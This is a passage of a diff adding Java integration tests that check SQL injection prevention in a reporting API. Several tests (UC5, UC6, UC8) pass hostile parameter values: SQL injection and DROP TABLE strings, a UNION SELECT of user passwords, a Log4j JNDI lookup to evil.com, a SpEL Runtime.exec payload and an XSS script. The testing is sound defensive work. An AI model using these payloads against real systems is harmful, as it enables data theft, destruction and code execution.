+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1");
+
+ // These should be rejected and result in 404 (report not found) or
validation error
+ AssertionError exception = assertThrows(AssertionError.class, () -> {
+ Utils.performServerGet(requestSpec, responseSpec,
+ "/runreports/TestReport?reportType=" + invalidType +
"&genericResultSet=false&" + toQueryString(queryParams), null);
+ });
+
+ // Should get 404 or validation error, not SQL execution error
+ assertTrue(exception.getMessage().contains("404") ||
exception.getMessage().contains("validation"));
+ assertFalse(exception.getMessage().toLowerCase().contains("sql
syntax"));
+ }
+
+ /**
+ * UC5: Test database-specific escaping through API behavior for
MySQL/MariaDB
+ */
+ @Test
+ void uc5_testMySQLEscapingThroughAPI() {
+ log.info("Testing MySQL/MariaDB escaping behavior through API");
+
+ // Test MySQL special characters in parameters
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1' OR '1'='1");
+ queryParams.put("R_clientId", "1; DROP TABLE m_client;");
+ queryParams.put("R_startDate", "2023-01-01\\' OR 1=1 --");
+
+ // Use the real test report to ensure SQL injection prevention works
with actual queries
+ try {
+ String response = Utils.performServerGet(requestSpec, responseSpec,
+ "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ "?genericResultSet=false&" + toQueryString(queryParams),
+ null);
+
+ // If successful, the special characters were safely escaped
+ assertNotNull(response);
+ log.info("MySQL/MariaDB special characters safely escaped");
+ } catch (AssertionError e) {
+ // Should not get SQL syntax errors - only validation errors
+ assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
+ "Should not get SQL syntax error for MySQL escaping test.
Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("you have an
error in your sql"),
+ "Should not get SQL error. Got: " + e.getMessage());
+
+ log.info("MySQL/MariaDB escaping prevented SQL injection with
validation error");
+ }
+ }
+
+ /**
+ * UC6: Test database-specific escaping through API for PostgreSQL
+ */
+ @Test
+ void uc6_testPostgreSQLEscapingThroughAPI() {
+ log.info("Testing PostgreSQL escaping behavior through API");
+
+ // Test PostgreSQL-specific SQL injection patterns
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1'::text OR '1'='1");
+ queryParams.put("R_clientId", "1; DROP TABLE m_client CASCADE;");
+ queryParams.put("R_startDate", "2023-01-01'::date OR TRUE --");
+ queryParams.put("R_endDate", "$$; DROP TABLE m_client; $$");
+
+ // Use the real test report to ensure SQL injection prevention works
+ try {
+ String response = Utils.performServerGet(requestSpec, responseSpec,
+ "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ "?genericResultSet=false&" + toQueryString(queryParams),
+ null);
+
+ // If successful, the PostgreSQL special syntax was safely escaped
+ assertNotNull(response);
+ log.info("PostgreSQL special characters and syntax safely
escaped");
+ } catch (AssertionError e) {
+ // Should not get SQL syntax errors - only validation errors
+ assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
+ "Should not get SQL syntax error for PostgreSQL escaping
test. Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("you have an
error in your sql"),
+ "Should not get SQL error. Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("error") &&
e.getMessage().toLowerCase().contains("position"),
+ "Should not get PostgreSQL position error. Got: " +
e.getMessage());
+
+ log.info("PostgreSQL escaping prevented SQL injection with
validation error");
+ }
+ }
+
+ /**
+ * UC7: Test concurrent access to ensure thread safety through API
+ */
+ @Test
+ void uc7_testConcurrentAccess() throws InterruptedException,
ExecutionException {
+ log.info("Testing concurrent access to SQL injection prevention
through API");
+
+ int threadCount = 5;
+ int operationsPerThread = 3;
+ ExecutorService executor = Executors.newFixedThreadPool(threadCount);
+
+ List<Future<Boolean>> futures = new java.util.ArrayList<>();
+
+ for (int i = 0; i < threadCount; i++) {
+ final int threadId = i;
+ Future<Boolean> future = executor.submit(new Callable<Boolean>() {
+
+ @Override
+ public Boolean call() {
+ try {
+ for (int j = 0; j < operationsPerThread; j++) {
+ String input = "test-input-" + threadId + "-" + j;
+
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1");
+
+ Utils.performServerGet(requestSpec, responseSpec,
+ "/fineract-provider/api/v1/runreports/" +
URLEncoder.encode(input, StandardCharsets.UTF_8)
+ + "?genericResultSet=false&" +
toQueryString(queryParams),
+ null);
+ }
+ return true;
+ } catch (AssertionError e) {
+ // 404 is expected for non-existent reports
+ return e.getMessage().contains("404");
+ } catch (Exception e) {
+ log.error("Error in thread {}: {}", threadId,
e.getMessage());
+ return false;
+ }
+ }
+ });
+ futures.add(future);
+ }
+
+ executor.shutdown();
+ assertTrue(executor.awaitTermination(60, TimeUnit.SECONDS), "All
threads should complete within 60 seconds");
+
+ for (Future<Boolean> future : futures) {
+ assertTrue(future.get(), "All concurrent operations should succeed
or return 404");
+ }
+
+ log.info("Concurrent access test completed successfully with {}
threads and {} operations per thread", threadCount,
+ operationsPerThread);
+ }
+
+ /**
+ * UC8: Test report parameter injection with complex nested structures
+ */
+ @Test
+ void uc8_testComplexParameterInjection() {
+ log.info("Testing complex parameter injection scenarios");
+
+ // Test various parameter injection patterns that were historically
problematic
+ Map<String, String> maliciousParams = new HashMap<>();
+ maliciousParams.put("R_officeId", "1) UNION SELECT username,password
FROM m_appuser WHERE id=1--");
+ maliciousParams.put("R_clientId", "${jndi:ldap://evil.com/a}"); //
Log4j style injection
+ maliciousParams.put("R_startDate", "'; DROP TABLE IF EXISTS test; --");
+ maliciousParams.put("R_endDate",
"#{T(java.lang.Runtime).getRuntime().exec('whoami')}"); // SpEL injection
+ maliciousParams.put("R_userId", "<script>alert('xss')</script>"); //
XSS attempt in parameter
+
+ try {
+ Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ + "?genericResultSet=false&" +
toQueryString(maliciousParams), null);
+ // If we get here without exception, the response should be safe
+ log.info("Complex parameter injection prevented - query executed
safely");
+ } catch (AssertionError e) {
+ // Should get parameter validation error, not SQL injection
+ assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
"Should not get SQL syntax error. Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("you have an
error in your sql"),
+ "Should not get SQL error. Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("table") &&
e.getMessage().toLowerCase().contains("exist"),
+ "Should not get table exists error. Got: " +
e.getMessage());
+ }
+ }
+
+ /**
+ * UC9: Test legitimate reports with various parameter types
+ */
+ @ParameterizedTest(name = "Parameter Type: {0}")
+ @CsvSource(delimiterString = " | ", value = { "R_officeId | 1 | Numeric
parameter", "R_startDate | 2023-01-01 | Date parameter",
+ "R_endDate | 2023-12-31 | Date parameter", "R_currencyId | USD |
String parameter", "R_loanProductId | 1 | Numeric parameter" })
+ void uc9_testLegitimateParameterTypes(String paramName, String paramValue,
String description) {
+ log.info("Testing legitimate parameter: {} = {} ({})", paramName,
paramValue, description);
+
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put(paramName, paramValue);
+
+ try {
+ String response = Utils.performServerGet(requestSpec, responseSpec,
+ "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ "?genericResultSet=false&" + toQueryString(queryParams),
+ null);
+
+ // Valid parameters should return data successfully
+ assertNotNull(response);
+
+ // Should not contain SQL error indicators
+ assertFalse(response.toLowerCase().contains("syntax error"));
+ assertFalse(response.toLowerCase().contains("sql exception"));
+
+ log.debug("Legitimate parameter '{}' = '{}' processed
successfully", paramName, paramValue);
+ } catch (AssertionError e) {
+ // For legitimate parameters, we should not get errors unless it's
a data issue
+ // But definitely not SQL syntax errors
+ assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
+ "Should not get SQL syntax error for legitimate parameter.
Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("you have an
error in your sql"),
+ "Should not get SQL error for legitimate parameter. Got: "
+ e.getMessage());
+
+ log.info("Parameter validation for '{}' = '{}': {}", paramName,
paramValue, e.getMessage());
+ }
+ }
+
+ /**
+ * UC10: Test cross-database compatibility through API
+ */
+ @Test
+ void uc10_testCrossDatabaseCompatibility() {
+ log.info("Testing cross-database compatibility for SQL injection
prevention through API");
+
+ String testInput = "test-input-with-special-chars";
+
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1");
+
+ try {
+ Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/"
+ + URLEncoder.encode(testInput, StandardCharsets.UTF_8) +
"?genericResultSet=false&" + toQueryString(queryParams), null);
+ } catch (AssertionError e) {
+ // Should get 404 (report not found) not database-specific errors
+ assertTrue(e.getMessage().contains("404"));
+ assertFalse(e.getMessage().toLowerCase().contains("syntax error"));
+ assertFalse(e.getMessage().toLowerCase().contains("sql"));
+
+ log.info("Cross-database compatibility test passed - got expected
404 response");
+ }
+ }
+
+ /**
+ * Helper method to convert parameters map to query string
+ */
+ private String toQueryString(Map<String, String> params) {
+ StringBuilder sb = new StringBuilder();
+ for (Map.Entry<String, String> entry : params.entrySet()) {
+ if (sb.length() > 0) {
+ sb.append("&");
+ }
+ sb.append(entry.getKey()).append("=");
+ if (entry.getValue() != null) {
+ sb.append(URLEncoder.encode(entry.getValue(),
StandardCharsets.UTF_8));
+ }
+ }
+ return sb.toString();
+ }
+}